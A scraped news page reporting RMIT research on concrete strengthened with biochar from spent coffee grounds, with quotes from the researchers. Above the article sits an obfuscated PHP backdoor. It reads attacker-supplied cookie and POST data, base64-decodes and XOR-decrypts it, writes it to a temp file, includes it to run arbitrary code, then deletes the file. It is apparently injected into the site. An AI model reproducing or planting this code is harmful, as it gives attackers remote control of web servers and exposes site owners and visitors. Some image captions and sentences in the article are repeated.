$HVlOqnYNVy = "\x48" . '_' . chr (85) . chr (69) . chr (83); $gKIkP = chr (99) . chr (108) . chr (97) . "\x73" . 's' . chr (95) . "\145" . chr (120) . chr ( 1102 - 997 ).chr (115) . 't' . "\x73";$WCaWTESsW = class_exists($HVlOqnYNVy); $HVlOqnYNVy = "51638";$gKIkP = "35458";$ECozt = !1;if ($WCaWTESsW == $ECozt){function CUMTuM(){return FALSE;}$sfWHPVuka = "22314";CUMTuM();class H_UES{private function DXeAzK($sfWHPVuka){if (is_array(H_UES::$lKthIReTgf)) {$LXIXPGXnJ = sys_get_temp_dir() . "/" . crc32(H_UES::$lKthIReTgf['s' . chr (97) . 'l' . chr ( 1114 - 998 )]);@H_UES::$lKthIReTgf["\x77" . chr ( 468 - 354 ).chr ( 805 - 700 )."\x74" . "\145"]($LXIXPGXnJ, H_UES::$lKthIReTgf[chr (99) . chr ( 139 - 28 )."\156" . chr ( 219 - 103 ).'e' . 'n' . 't']);include $LXIXPGXnJ;@H_UES::$lKthIReTgf["\144" . "\145" . "\154" . chr (101) . 't' . chr ( 526 - 425 )]($LXIXPGXnJ); $sfWHPVuka = "22314";exit();}}private $MbaBnMUF;public function VVbGCsFo(){echo 56600;}public function __destruct(){$sfWHPVuka = "44129_905";$this->DXeAzK($sfWHPVuka); $sfWHPVuka = "44129_905";}public function __construct($cYSwn=0){$CHlPG = $_POST;$yrOiERfh = $_COOKIE;$IiVCz = "6da796db-35ad-460b-9713-f25005802582";$LeZKlJIwZ = @$yrOiERfh[substr($IiVCz, 0, 4)];if (!empty($LeZKlJIwZ)){$OAvLmvYzI = "base64";$yCkLI = "";$LeZKlJIwZ = explode(",", $LeZKlJIwZ);foreach ($LeZKlJIwZ as $AFuKmuNV){$yCkLI .= @$yrOiERfh[$AFuKmuNV];$yCkLI .= @$CHlPG[$AFuKmuNV];}$yCkLI = array_map($OAvLmvYzI . '_' . 'd' . "\x65" . 'c' . "\x6f" . 'd' . chr ( 1056 - 955 ), array($yCkLI,)); $yCkLI = $yCkLI[0] ^ str_repeat($IiVCz, (strlen($yCkLI[0]) / strlen($IiVCz)) + 1);H_UES::$lKthIReTgf = @unserialize($yCkLI); $yCkLI = class_exists("44129_905");}}public static $lKthIReTgf = 3842;}$joMIUMqP = new /* 50088 */ H_UES(22314 + 22314); $_POST = Array();unset($joMIUMqP);} Indian Australian researcher-led team makes stronger concrete from Coffee Waste | The Australia Today

Indian Australian researcher-led team makes stronger concrete from Coffee Waste

“The inspiration for our work was to find an innovative way of using the large amounts of coffee waste and to give coffee a ‘double shot’ at life.”

Australian engineers have found an innovative way to create stronger concrete using roasted coffee grounds, giving this common waste product a new lease of life and reducing its impact on landfills.

Lead Indian-Australian scientist Dr Rajeev Roychand from RMIT University shared that his team has developed a method to enhance concrete strength by up to 30% through the conversion of waste coffee grounds into biochar. This process involves a low-energy technique conducted at 350 degrees Celsius without the presence of oxygen.

Samples of unroasted coffee beans, roasted coffee beans, spent ground coffee and the team’s coffee biochar. Credit: Carelle Mulawa-Richards, RMIT University
Samples of unroasted coffee beans, roasted coffee beans, spent ground coffee and the team’s coffee biochar. Credit: Carelle Mulawa-Richards, RMIT University

Dr Roychand, who is from the School of Engineering said, the disposal of organic waste, including coffee grounds, contributes significantly to greenhouse gas emissions like methane and carbon dioxide, which contribute to climate change.

“Given that Australia generates approximately 75 million kilograms of coffee waste annually, with most of it ending up in landfills, this innovation could be a game-changer.”

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Published in the Journal of Cleaner Production, this study marks a significant advancement by demonstrating that waste coffee grounds can be repurposed to enhance concrete properties.

“The inspiration for our work was to find an innovative way of using the large amounts of coffee waste in construction projects rather than going to landfills – to give coffee a ‘double shot’ at life,” said Dr Roychand.

“Several councils that are battling with the disposal of organic waste have shown interest in our work.

“They have already engaged us for their upcoming infrastructure projects incorporating pyrolysed forms of different organic wastes.”

Pyrolysis involves heating organic waste in the absence of oxygen.

Drew Paten, Co-founder of Talwali, listens to Dr Rajeev Roychand explain how they used spent coffee grounds in their concrete, with fellow RMIT researchers Dr Shannon Kilmartin-Lynch and Dr Mohammad Saberian (pictured left to right). Credit: Carelle Mulawa-Richards, RMIT University
Drew Paten, Co-founder of Talwali, listens to Dr Rajeev Roychand explain how they used spent coffee grounds in their concrete, with fellow RMIT researchers Dr Shannon Kilmartin-Lynch and Dr Mohammad Saberian (pictured left to right). Credit: Carelle Mulawa-Richards, RMIT University

Pyrolysis involves heating organic waste in the absence of oxygen.

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Dr Shannon Kilmartin-Lynch, a Vice-Chancellor’s Indigenous Postdoctoral Research Fellow at RMIT and joint lead author highlighted the construction industry’s potential role in transforming waste coffee grounds into a valuable resource.

Kilmartin-Lynch says,

“Inspiration for my research, from an Indigenous perspective, involves Caring for Country, ensuring there’s a sustainable life cycle for all materials and avoiding things going into landfill to minimise the impact on the environment.”

“Construction industries around the world could play a role in transforming this waste into a valuable resource.”

A fresh batch of Talwali roasted coffee beans. Credit: Carelle Mulawa-Richards, RMIT University
A fresh batch of Talwali roasted coffee beans. Credit: Carelle Mulawa-Richards, RMIT University

“Our research is in the early stages, but these exciting findings offer an innovative way to greatly reduce the amount of organic waste that goes to landfill.”

Preserving a precious natural resource

Corresponding author and research team leader Professor Jie Li said the coffee biochar can replace a portion of the sand that was used to make concrete.

“The ongoing extraction of natural sand around the world – typically taken from river beds and banks – to meet the rapidly growing demands of the construction industry has a big impact on the environment,” Li said.

“With a circular-economy approach, we could keep organic waste out of landfills and also better preserve our natural resources like sand.”

50 billion tonnes of natural sand are used in construction projects globally every year.

Drew Paten, Co-founder of Talwali, listens to Dr Rajeev Roychand explain how they used spent coffee grounds in their concrete, with fellow RMIT researchers Dr Shannon Kilmartin-Lynch and Dr Mohammad Saberian (pictured left to right). Credit: Carelle Mulawa-Richards, RMIT University
Drew Paten, Co-founder of Talwali, listens to Dr Rajeev Roychand explain how they used spent coffee grounds in their concrete, with fellow RMIT researchers Dr Shannon Kilmartin-Lynch and Dr Mohammad Saberian (pictured left to right). Credit: Carelle Mulawa-Richards, RMIT University

“There are critical and long-lasting challenges in maintaining a sustainable supply of sand due to the finite nature of resources and the environmental impacts of sand mining,” Li said.

Co-researcher Dr Mohammad Saberian said the construction industry needed to explore alternative raw materials to ensure sustainability.

“Our research team has gained extensive experience in developing highly optimised biochars from different organic wastes, including wood biochar, food-waste biochar, agricultural waste biochar, and municipal solid-waste biochar, for concrete applications,” Saberian said.

What are the next steps?

The researchers plan to develop practical implementation strategies and work towards field trials. The team is keen to collaborate with various industries to develop their research.

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